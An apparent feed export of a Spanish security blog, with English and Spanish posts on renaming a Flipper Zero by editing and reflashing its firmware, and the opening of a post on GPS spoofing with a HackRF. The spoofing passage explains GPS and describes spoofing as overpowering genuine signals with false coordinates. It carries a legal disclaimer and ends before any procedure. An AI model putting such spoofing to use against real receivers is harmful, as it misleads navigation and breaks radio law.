tag:blogger.com,1999:blog-79449502145592934302024-03-09T21:03:39.953+01:00Hacker De CabeceraSeguridad informática, comunicaciones y nuevas tecnologías para todos!Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.comBlogger18125tag:blogger.com,1999:blog-7944950214559293430.post-58977521259635859792023-02-07T19:22:00.000+01:002023-02-07T19:22:17.126+01:00Flipper Zero: renaming our cyber dolphin<p><span style="font-family: arial;">As you may have noticed from the number of photos we've all uploaded to Twitter and other social networks, the first "European" Flipper Zeros have finally started to arrive in our hands! One of the first steps that some of us have missed has been to be able to name our pet as we wish: here I tell you how to do it!</span></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQUXuRUo_mqCrJsfJpGuwj-41DXzyNB9I9b58VyWI-WtWqDJo5cOgjZodQwv8xs_j8rX7WwqqjCXsVuM5Sn8CbLJnascGokQTLG4XTXws_44AiUBmORYIupoiA-nekNivnjJua8wZLCQeWfijAhTkRKdCaGB92OYDRE4Cx__uRGs7_dO2_8UXrNvyJ/s4030/IMG_7034.heic" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="2638" data-original-width="4030" height="418" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQUXuRUo_mqCrJsfJpGuwj-41DXzyNB9I9b58VyWI-WtWqDJo5cOgjZodQwv8xs_j8rX7WwqqjCXsVuM5Sn8CbLJnascGokQTLG4XTXws_44AiUBmORYIupoiA-nekNivnjJua8wZLCQeWfijAhTkRKdCaGB92OYDRE4Cx__uRGs7_dO2_8UXrNvyJ/w640-h418/IMG_7034.heic" width="640" /></a></div><br /><p><br /></p><span><a name='more'></a></span><h3>Flipper Zero's names</h3><span style="font-family: arial;"><div>Yes, it was one of the first things I tried to do! Not that I disliked the name too much, it was called <b>Omurow</b> when it came to me (thanks Alex, Blanca and Damián!) and I turned it on, but I went through all the menus and options trying to modify it and I couldn't find the option!</div><div><br /></div><div>Researching about it on the internet I found out that each Flipper comes from the factory with a unique name engraved in the OTP memory. Also according to the creators and as a curiosity, the names are randomly generated by a neural network trained with Pokemon names!</div><div><br /></div>This leaves us only one option if we want to rename our flippers: we must download the source code of the firmware, modify the line where the name is declared, recompile the whole firmware and save it again in our device... maybe this way may throw you back, but I assure you that it is much easier than it seems!</span><div><div><div><br /></div><h3><span style="font-size: 18.72px;">Downloading and modifying the firmware</span></h3><div><span style="font-family: arial;">By now and if you have reached this publication, I understand that you already know where to download and get all the firmware in its entirety, we have it at <a href="https://github.com/flipperdevices/flipperzero-firmware/tree/f6384116a1e501d2925013f6fae7e1d7cb6786cb">https://github.com/flipperdevices/flipperzero-firmware</a></span></div><div><span style="font-family: arial;"><br /></span></div><div><span style="font-family: arial;">We clone the repository in the way we prefer, in my case from Mac we will do it by using</span> <span style="font-family: courier;"><b>git clone --recursive https://github.com/flipperdevices/flipperzero-firmware.git</b></span></div><div><br /></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt8R4ENpl3yrK2B5icLmY1K8DqDZjxKehvheHiRJd1Oo3FgtYkP2T7WzEmV5Fm34A2fPUkVjtYZpM6UiAJaiei0oiwzqZbp0EQG9eeAHDEKhyRrWq5PiNZ_nfInYB5EErzvT6EKWMoj24V5YENssujnOlruhhMg7dEWFUbaKy2k3Pwol6_NuntIkEI/s745/2019-01-28_11-45-13.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="103" data-original-width="745" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt8R4ENpl3yrK2B5icLmY1K8DqDZjxKehvheHiRJd1Oo3FgtYkP2T7WzEmV5Fm34A2fPUkVjtYZpM6UiAJaiei0oiwzqZbp0EQG9eeAHDEKhyRrWq5PiNZ_nfInYB5EErzvT6EKWMoj24V5YENssujnOlruhhMg7dEWFUbaKy2k3Pwol6_NuntIkEI/s16000/2019-01-28_11-45-13.jpg" /></a></div><div><br /></div><div><br /></div><span style="font-family: arial;">Once everything has been downloaded, locate the file</span> <b>furi_hal_version.c</b> <span style="font-family: arial;">and look for the string</span> <span style="font-family: courier;"><i><b>*furi_hal_version.name == 0x00 ? NULL :furi_hal_version.name;</b></i></span> <span style="font-family: arial;">which, at the time of writing, is on line 278.</span></div><div><br /></div><div><span style="font-family: arial;">We must replace the whole string with the name we want in inverted commas, in my case the new name will be <b>Pascasi0</b>!!</span></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqbesdaqq9yzrvwdxTrGBoQ3k-2Vnvd5-GcaAFuRa71KtQP9214F97NhwUexAEN5j7w8J0rywaP7WOyM4d9aD23QAGKETTdN9XYIGr9dX7WrP-FW3w7TBB6aJyaxxyYjBYMVgynH3z59BtuFsCTZIaUjiM3uuOAZ7uHLL1lsA5slBDjA-HZDUSvHtX/s1042/2022-08-11_19-51-11.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="323" data-original-width="1042" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqbesdaqq9yzrvwdxTrGBoQ3k-2Vnvd5-GcaAFuRa71KtQP9214F97NhwUexAEN5j7w8J0rywaP7WOyM4d9aD23QAGKETTdN9XYIGr9dX7WrP-FW3w7TBB6aJyaxxyYjBYMVgynH3z59BtuFsCTZIaUjiM3uuOAZ7uHLL1lsA5slBDjA-HZDUSvHtX/s16000/2022-08-11_19-51-11.jpg" /></a></div><br /><div><br /></div><div><br /></div><h3><span style="font-size: 18.72px;">Compiling</span>!</h3><div><span style="font-family: arial;">Once the changes from the previous step have been saved, it's time to compile everything again in order to obtain the dfu file that we can then burn to the device using qFlipper. The instructions to compile it are detailed in the project's own GitHub and the options to do so are from <a href="https://github.com/flipperdevices/flipperzero-firmware#build-with-docker" target="_blank">Docker</a>, or from <a href="https://github.com/flipperdevices/flipperzero-firmware#build-on-linuxmacos" target="_blank">Linux and MacOS</a> (Caution! Pay attention to the pre-requisites!).</span></div><div><span style="font-family: arial;"><br /></span></div><div><span style="font-family: arial;">Once the compilation is finished, the necessary binaries will have been generated and can be found inside the folder</span> <span style="font-family: courier;">/dist</span> </div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgibS_v1KOxj_WqVt8-iUROoxQDeS4xRGBcbgB0t3et-Biy3RVrBT97sEHOCJOFItgvZZTfhQTrgLnv80E204c0xC3Pm71rEeEfW1qUXFRNTT5D3fcpxTZWOl_KGC_4p-i3hjVYeGalvejGIc7dezSxw-kapBvARWSX8NrkyJSk3GGq80Zu0G_2jEMV/s810/2022-08-11_20-12-24.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="714" data-original-width="810" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgibS_v1KOxj_WqVt8-iUROoxQDeS4xRGBcbgB0t3et-Biy3RVrBT97sEHOCJOFItgvZZTfhQTrgLnv80E204c0xC3Pm71rEeEfW1qUXFRNTT5D3fcpxTZWOl_KGC_4p-i3hjVYeGalvejGIc7dezSxw-kapBvARWSX8NrkyJSk3GGq80Zu0G_2jEMV/s16000/2022-08-11_20-12-24.jpg" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8ayTJkFPEReOBGUnW7gXCNl0CjN5eROmq1EmuQtJOGqaiA_V4xTmgImWsbsUvJSqByh6Q4kwT-s3cJcWYFr0Cf-LKqmHaZFjeyraUMt8uv2PQYVOBBkk6PvoaMAtt_d4onNhvimKBk_ydmkz-kO9d6hpIyqCDvFN89lv8BCAhj0ZRpd-HHuP90r_5/s513/2022-08-11_20-07-29.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="113" data-original-width="513" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8ayTJkFPEReOBGUnW7gXCNl0CjN5eROmq1EmuQtJOGqaiA_V4xTmgImWsbsUvJSqByh6Q4kwT-s3cJcWYFr0Cf-LKqmHaZFjeyraUMt8uv2PQYVOBBkk6PvoaMAtt_d4onNhvimKBk_ydmkz-kO9d6hpIyqCDvFN89lv8BCAhj0ZRpd-HHuP90r_5/s16000/2022-08-11_20-07-29.jpg" /></a></div><br /><div><br /></div><div><span style="font-family: arial;">The only thing left to do now is to save our new firmware from qFlipper, to do so, we must select the option</span> "<i><span style="font-family: courier;">Install From File</span></i>" <span style="font-family: arial;">lwhich will open a file explorer and we must select the .dfu file that has been generated in the previous step and, finally, confirm its installation.</span></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqAhA7O7P3yEV5ey8zWFtYiKkKV2FDRP7ft0yV9EYIq9XNlfQ0XeBiB1FqeGco2_BdVpaU2Ik-3tbbQLY0vx3RBs8hdxw50vXU8CbnzYEXLm69LyAV8xa9ULsXjJ2eBTEeCb6_5zPOPa2qTljsmgHaU5Dk2nKr5XfGqvpkBmFPdZEI2k-8fxvGMRFz/s1205/2022-08-11_20-21-24.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="642" data-original-width="1205" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqAhA7O7P3yEV5ey8zWFtYiKkKV2FDRP7ft0yV9EYIq9XNlfQ0XeBiB1FqeGco2_BdVpaU2Ik-3tbbQLY0vx3RBs8hdxw50vXU8CbnzYEXLm69LyAV8xa9ULsXjJ2eBTEeCb6_5zPOPa2qTljsmgHaU5Dk2nKr5XfGqvpkBmFPdZEI2k-8fxvGMRFz/s16000/2022-08-11_20-21-24.jpg" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div><span style="font-family: arial;">Et voilá!! <b>Pascasi0</b> is ready and waiting for the action!</span></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlmZw_Gp7MrHdBzygiYmM4ycHXCKQWyrTrYJZHtPCIT3MONw9G7YDsMO14k0l51YkTsfVqBekJC5Fu_xJAM2qvrJMcc3ZvlhvObnqeBFk7EOEa4VaX5lIwtqe9rZmdWXkbXAklvyJvrEM7CT9w8Ta0Bjt6C7nDos3GXuPcrrfgz6uyvkykfGpHWXli/s4032/IMG_7056.heic" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="3024" data-original-width="4032" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlmZw_Gp7MrHdBzygiYmM4ycHXCKQWyrTrYJZHtPCIT3MONw9G7YDsMO14k0l51YkTsfVqBekJC5Fu_xJAM2qvrJMcc3ZvlhvObnqeBFk7EOEa4VaX5lIwtqe9rZmdWXkbXAklvyJvrEM7CT9w8Ta0Bjt6C7nDos3GXuPcrrfgz6uyvkykfGpHWXli/w640-h480/IMG_7056.heic" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><span style="font-family: arial;">As you can see it sounded more complicated than it really is! I hope it will be helpful if you feel the need to rename your Flippers.</span></div><div><span style="font-family: arial;"><b>THANK YOU VERY MUCH</b> </span><span style="font-family: arial;">as always</span><span style="font-family: arial;"> </span><span style="font-family: arial;">for your visit and for your time in reading the article!</span></div><div><br /></div><div><br /></div></div>Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.com0tag:blogger.com,1999:blog-7944950214559293430.post-36428290127243133002022-08-12T08:29:00.000+02:002022-08-12T08:30:41.480+02:00Flipper Zero: rebautizando nuestro ciberdelfín<p><span style="font-family: arial;">Como seguro habréis observado, por la cantidad de fotos que todos hemos subido a Twitter y otras redes sociales, los primero Flipper Zero "europeos" han comenzado a llegar por fin a nuestras manos! Uno de los primeros pasos que algunos hemos echado en falta ha sido poder nombrar a nuestra mascota a nuestro antojo: aquí os cuento cómo hacerlo!</span></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQUXuRUo_mqCrJsfJpGuwj-41DXzyNB9I9b58VyWI-WtWqDJo5cOgjZodQwv8xs_j8rX7WwqqjCXsVuM5Sn8CbLJnascGokQTLG4XTXws_44AiUBmORYIupoiA-nekNivnjJua8wZLCQeWfijAhTkRKdCaGB92OYDRE4Cx__uRGs7_dO2_8UXrNvyJ/s4030/IMG_7034.heic" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="2638" data-original-width="4030" height="418" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQUXuRUo_mqCrJsfJpGuwj-41DXzyNB9I9b58VyWI-WtWqDJo5cOgjZodQwv8xs_j8rX7WwqqjCXsVuM5Sn8CbLJnascGokQTLG4XTXws_44AiUBmORYIupoiA-nekNivnjJua8wZLCQeWfijAhTkRKdCaGB92OYDRE4Cx__uRGs7_dO2_8UXrNvyJ/w640-h418/IMG_7034.heic" width="640" /></a></div><br /><p><br /></p><span><a name='more'></a></span><h3 style="text-align: left;">Los nombres de los Flipper Zero</h3><span style="font-family: arial;">Pues sí, fue una de las primeras cosas que intenté hacer! No es que el nombre me disgustase demasiado, se llamaba <b>Omurow</b> cuando llegó a mí (gracias Alex, Blanca y Damián!) y lo encendí, pero recorrí todos los menus y opciones tratando de modificarlo y no encontré la opción!<br /></span><br /><span style="font-family: arial;">Investigando sobre ello en internet descubrí que cada Flipper viene de fábrica con un nombre único grabado en la memoria OTP de fábrica. Además según indican los creadores y como curiosidad, los nombres son generados aleatoriamente por una red neuronal entrenada con nombres de Pokemon!<br /><br />Esto solo nos deja una opción si queremos rebautizar a nuestros bichos: debemos descargar el source code del firmware, modificar la línea donde se declara el nombre, volver a compilar todo el firmware y grabándolo de nuevo en nuestro dispositivo... quizás así dicho a más de un@ pueda echarle para atrás, pero os aseguro que es mucho más fácil de lo que parece!</span><div><div><br /></div><div><br /></div><h3 style="text-align: left;">Descargando y modificando el firmware</h3><div><span style="font-family: arial;">A estas alturas y si has llegado hasta esta publicación, entiendo que ya sabes de donde descargar y obtener todo el firmware en su totalidad, lo tenemos en <a href="https://github.com/flipperdevices/flipperzero-firmware/tree/f6384116a1e501d2925013f6fae7e1d7cb6786cb">https://github.com/flipperdevices/flipperzero-firmware</a></span></div><div><span style="font-family: arial;"><br /></span></div><div><span style="font-family: arial;">Clonamos el repositorio de la manera que prefiramos, en mi caso desde Mac lo haremos mediante</span> <span style="font-family: courier;"><b>git clone --recursive https://github.com/flipperdevices/flipperzero-firmware.git</b></span></div><div><br /></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt8R4ENpl3yrK2B5icLmY1K8DqDZjxKehvheHiRJd1Oo3FgtYkP2T7WzEmV5Fm34A2fPUkVjtYZpM6UiAJaiei0oiwzqZbp0EQG9eeAHDEKhyRrWq5PiNZ_nfInYB5EErzvT6EKWMoj24V5YENssujnOlruhhMg7dEWFUbaKy2k3Pwol6_NuntIkEI/s745/2019-01-28_11-45-13.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="103" data-original-width="745" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt8R4ENpl3yrK2B5icLmY1K8DqDZjxKehvheHiRJd1Oo3FgtYkP2T7WzEmV5Fm34A2fPUkVjtYZpM6UiAJaiei0oiwzqZbp0EQG9eeAHDEKhyRrWq5PiNZ_nfInYB5EErzvT6EKWMoj24V5YENssujnOlruhhMg7dEWFUbaKy2k3Pwol6_NuntIkEI/s16000/2019-01-28_11-45-13.jpg" /></a></div><div><br /></div><div><br /></div><span style="font-family: arial;">Una vez todo descargado debemos localizar el archivo</span> <b>furi_hal_version.c</b> <span style="font-family: arial;">y buscar la cadena</span> <span style="font-family: courier;"><i><b>*furi_hal_version.name == 0x00 ? NULL : furi_hal_version.name;</b></i></span> <span style="font-family: arial;">que, en el momento de escribir este artículo, se encuentra en la linea 278.</span></div><div><br /></div><div><span style="font-family: arial;">Deberemos de sustituir toda la cadena por el nombre que deseemos entre comillas, en mi caso el nuevo nombre será <b>Pascasi0</b>!!</span></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqbesdaqq9yzrvwdxTrGBoQ3k-2Vnvd5-GcaAFuRa71KtQP9214F97NhwUexAEN5j7w8J0rywaP7WOyM4d9aD23QAGKETTdN9XYIGr9dX7WrP-FW3w7TBB6aJyaxxyYjBYMVgynH3z59BtuFsCTZIaUjiM3uuOAZ7uHLL1lsA5slBDjA-HZDUSvHtX/s1042/2022-08-11_19-51-11.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="323" data-original-width="1042" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqbesdaqq9yzrvwdxTrGBoQ3k-2Vnvd5-GcaAFuRa71KtQP9214F97NhwUexAEN5j7w8J0rywaP7WOyM4d9aD23QAGKETTdN9XYIGr9dX7WrP-FW3w7TBB6aJyaxxyYjBYMVgynH3z59BtuFsCTZIaUjiM3uuOAZ7uHLL1lsA5slBDjA-HZDUSvHtX/s16000/2022-08-11_19-51-11.jpg" /></a></div><br /><div><br /></div><div><br /></div><h3 style="text-align: left;">Compilando que es Gerundio!</h3><div><span style="font-family: arial;">Una vez guardados los cambios del paso anterior llega el momento de compilarlo todo nuevamente con el objetivo de obtener el archivo dfu que después podamos grabar en el dispositivo usando qFlipper. Las instrucciones para compilarlo las tenéis detalladas en. el propio GitHub del proyecto y las opciones para ello son desde <a href="https://github.com/flipperdevices/flipperzero-firmware#build-with-docker" target="_blank">Docker</a>, desde <a href="https://github.com/flipperdevices/flipperzero-firmware#build-on-linuxmacos" target="_blank">Linux y MacOS</a> (OJO! Prestad atención a los prerequisitos!).</span></div><div><span style="font-family: arial;"><br /></span></div><div><span style="font-family: arial;">Una vez terminada la compilación, se habrán generado los binarios necesarios y podremos encontrarlo dentro de la carpeta</span> <span style="font-family: courier;">/dist</span> </div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgibS_v1KOxj_WqVt8-iUROoxQDeS4xRGBcbgB0t3et-Biy3RVrBT97sEHOCJOFItgvZZTfhQTrgLnv80E204c0xC3Pm71rEeEfW1qUXFRNTT5D3fcpxTZWOl_KGC_4p-i3hjVYeGalvejGIc7dezSxw-kapBvARWSX8NrkyJSk3GGq80Zu0G_2jEMV/s810/2022-08-11_20-12-24.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="714" data-original-width="810" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgibS_v1KOxj_WqVt8-iUROoxQDeS4xRGBcbgB0t3et-Biy3RVrBT97sEHOCJOFItgvZZTfhQTrgLnv80E204c0xC3Pm71rEeEfW1qUXFRNTT5D3fcpxTZWOl_KGC_4p-i3hjVYeGalvejGIc7dezSxw-kapBvARWSX8NrkyJSk3GGq80Zu0G_2jEMV/s16000/2022-08-11_20-12-24.jpg" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8ayTJkFPEReOBGUnW7gXCNl0CjN5eROmq1EmuQtJOGqaiA_V4xTmgImWsbsUvJSqByh6Q4kwT-s3cJcWYFr0Cf-LKqmHaZFjeyraUMt8uv2PQYVOBBkk6PvoaMAtt_d4onNhvimKBk_ydmkz-kO9d6hpIyqCDvFN89lv8BCAhj0ZRpd-HHuP90r_5/s513/2022-08-11_20-07-29.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="113" data-original-width="513" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8ayTJkFPEReOBGUnW7gXCNl0CjN5eROmq1EmuQtJOGqaiA_V4xTmgImWsbsUvJSqByh6Q4kwT-s3cJcWYFr0Cf-LKqmHaZFjeyraUMt8uv2PQYVOBBkk6PvoaMAtt_d4onNhvimKBk_ydmkz-kO9d6hpIyqCDvFN89lv8BCAhj0ZRpd-HHuP90r_5/s16000/2022-08-11_20-07-29.jpg" /></a></div><br /><div><br /></div><div>Y<span style="font-family: arial;">a solo queda grabar nuestra nuevo firmware desde qFlipper, para ello debemos seleccionar la opción</span> "<i><span style="font-family: courier;">Install From File</span></i>" <span style="font-family: arial;">la cual nos abrirá un explorador de archivos y debemos seleccionar el archivo .dfu que se ha generado en el paso anterior y, por último, confirmar su instalación.</span></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqAhA7O7P3yEV5ey8zWFtYiKkKV2FDRP7ft0yV9EYIq9XNlfQ0XeBiB1FqeGco2_BdVpaU2Ik-3tbbQLY0vx3RBs8hdxw50vXU8CbnzYEXLm69LyAV8xa9ULsXjJ2eBTEeCb6_5zPOPa2qTljsmgHaU5Dk2nKr5XfGqvpkBmFPdZEI2k-8fxvGMRFz/s1205/2022-08-11_20-21-24.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="642" data-original-width="1205" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqAhA7O7P3yEV5ey8zWFtYiKkKV2FDRP7ft0yV9EYIq9XNlfQ0XeBiB1FqeGco2_BdVpaU2Ik-3tbbQLY0vx3RBs8hdxw50vXU8CbnzYEXLm69LyAV8xa9ULsXjJ2eBTEeCb6_5zPOPa2qTljsmgHaU5Dk2nKr5XfGqvpkBmFPdZEI2k-8fxvGMRFz/s16000/2022-08-11_20-21-24.jpg" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div><span style="font-family: arial;">Y voilá!! Ya tenemos a <b>Pascasi0</b> listo y preparado!!</span></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlmZw_Gp7MrHdBzygiYmM4ycHXCKQWyrTrYJZHtPCIT3MONw9G7YDsMO14k0l51YkTsfVqBekJC5Fu_xJAM2qvrJMcc3ZvlhvObnqeBFk7EOEa4VaX5lIwtqe9rZmdWXkbXAklvyJvrEM7CT9w8Ta0Bjt6C7nDos3GXuPcrrfgz6uyvkykfGpHWXli/s4032/IMG_7056.heic" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="3024" data-original-width="4032" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlmZw_Gp7MrHdBzygiYmM4ycHXCKQWyrTrYJZHtPCIT3MONw9G7YDsMO14k0l51YkTsfVqBekJC5Fu_xJAM2qvrJMcc3ZvlhvObnqeBFk7EOEa4VaX5lIwtqe9rZmdWXkbXAklvyJvrEM7CT9w8Ta0Bjt6C7nDos3GXuPcrrfgz6uyvkykfGpHWXli/w640-h480/IMG_7056.heic" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><span style="font-family: arial;">Como veis sonaba más complicado de lo que realmente es! Espero que os sea de ayuda si sentís la imperiosa necesidad de rebautizar vuestros Flippers y cómo siempre <b>MUCHAS GRACIAS</b> por la visita y por vuestro tiempo en leer el artículo!.</span></div><div><br /></div><div><br /></div>Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.com0tag:blogger.com,1999:blog-7944950214559293430.post-11420808831835933772020-06-03T13:17:00.001+02:002020-08-10T13:17:12.953+02:00GPS Spoofing with HackRF from Windows environmentsHello, everybody! I guess I couldn't stop writing an entry in this confinement because of the damn Covid-19, and I've been wanting to share with you for a long time one of those projects related to the world of radio and signals that I'm so passionate about: GPS.<br />
<br />
GPS is something that we all use to a greater or lesser extent almost every day, partly powered by its use in smartphones, smartwatches, car navigation systems, etc... but that, personally, took me a long time to learn how it works.<br />
<br />
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRMR8_4AciR5VVgYd3Gc4k1PvxOrSpcFBNeomrioCa2NoKWLYd9ScprmTf4jEn3NwZGSzQs6G5Yo6qy-_aFb2tJwoHRWDcT7E2RWG9u6DjGOBsyI4w0OoyiqoNeDcd16xzp1oAxtiE6V4/s1600/27853.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="743" data-original-width="990" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRMR8_4AciR5VVgYd3Gc4k1PvxOrSpcFBNeomrioCa2NoKWLYd9ScprmTf4jEn3NwZGSzQs6G5Yo6qy-_aFb2tJwoHRWDcT7E2RWG9u6DjGOBsyI4w0OoyiqoNeDcd16xzp1oAxtiE6V4/s400/27853.jpg" width="400" /></a></div>
<br />
<h3>
<a name='more'></a></h3>
</div>
<div>
<h3>
<span style="font-size: 18.72px;"><b>How GPS Works</b></span></h3>
GPS is an acronym for Global Positioning System and has been with us for several years. It is a satellite-based radio navigation system developed by the United States Department of Defense after World War II and its purpose is to determine the position of any object (a person, a vehicle, etc...) throughout the Earth with different levels of accuracy/error depending on the versions and type of systems used.<br />
<br />
It works through a network of at least 24 satellites orbiting around the earth with altitudes of approximately 20,000Kms and with orbits distributed in 6 different orbital planes and with inclinations of around 55º with respect to the terrestrial equatorial plane.<br />
The purpose of this configuration is that at any point on the surface of the earth (and at any altitude) there are always at least 4 satellites visible above the horizon (OTH).</div>
<div>
<span face="" style="color: #202122; font-family: sans-serif; font-size: 14px;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/TXpTWsi2qSg/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/TXpTWsi2qSg?feature=player_embedded" width="320"></iframe></div>
<div>
<span face="" style="color: #202122; font-family: sans-serif; font-size: 14px;"><br /></span></div>
<div>
<span face="" style="color: #202122; font-family: sans-serif; font-size: 14px;"><br /></span></div>
<div>
<span face="" style="color: #202122; font-family: sans-serif;"><span style="font-size: 14px;">The operation of GPS systems and their infrastructure is based on several components or segments: the first is the "<b>space</b> segment" that we have just seen in the previous paragraphs, and at the same time two other segments that are the <b>control</b> and <b>user</b> segments.</span></span><br />
<span face="" style="color: #202122; font-family: sans-serif;"><span style="font-size: 14px;"><br /></span></span>
<span face="" style="color: #202122; font-family: sans-serif;"><span style="font-size: 14px;">The control component is based on 5 ground tracking stations distributed around the globe and connected to a central control station called <b>MCS</b> (Master Control Station). The mission of this component is to track the satellites by calibrating and synchronizing their clocks, as well as updating their orbital positions.</span></span><br />
<span face="" style="color: #202122; font-family: sans-serif;"><span style="font-size: 14px;"><br /></span></span>
<span style="font-size: 14px;"><span face="" style="color: #202122; font-family: sans-serif;"></span></span><br />
<span face="" style="color: #202122; font-family: sans-serif;"><span style="font-size: 14px;">The user component is the last link in the chain and it is basically the GPS device that we use to locate ourselves on the globe, whether it is a watch, a mobile phone, a GPS handheld, a car navigator, boat and plane positioning, etc.</span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIv4RqaJmpECW-SKJaR5si_beydZ12blz8Efs6YIkKiBfRUV13pNKWmxMjrMlP97OyTy6UElDo26by5MnN809FA_sSpSb8lwOooKXYGHqsyGinH3_lwpxxOx46QzUQ3rlCrm9cjO_IFxo/s1600/segmentsGPS.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="455" data-original-width="1028" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIv4RqaJmpECW-SKJaR5si_beydZ12blz8Efs6YIkKiBfRUV13pNKWmxMjrMlP97OyTy6UElDo26by5MnN809FA_sSpSb8lwOooKXYGHqsyGinH3_lwpxxOx46QzUQ3rlCrm9cjO_IFxo/s1600/segmentsGPS.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
What does GPS Spoofing objectively consist of? Basically, it consists in emitting via radio those "false" GPS coordinates that we want to supplant the genuine signals. To achieve this we will depend logically on the power of emission and/or the proximity to the receiver included in the user segment indicated above to make them take our modified signal ignoring the genuine one and, therefore, locate in the position and/or path/itinerary that we want.<br />
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<br /></div>
<h3 style="clear: both;">
<span style="color: red;"><u>VERY IMPORTANT!!!</u></span> Before you continue reading...</h3>
<div class="separator" style="clear: both;">
At this point and before continuing, you are going to allow me to give you a <b>VERY IMPORTANT</b> disclaimer and we must be clear at all times: <b><u>the broadcast of any type of radio signal in any scenario or circumstance where there is no prior and explicit legal authorization to do so,<span style="color: red;"> is totally prohibited and is a crime punishable by law</span></u></b><span style="color: red;">.</span></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
The objective of this article and the techniques shown in it have the sole purpose of divulging technology and for this, as will be seen later in the article, the necessary solutions and resources have been adopted so as not to make any public broadcast to the radio public domain (also called radio space).</div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
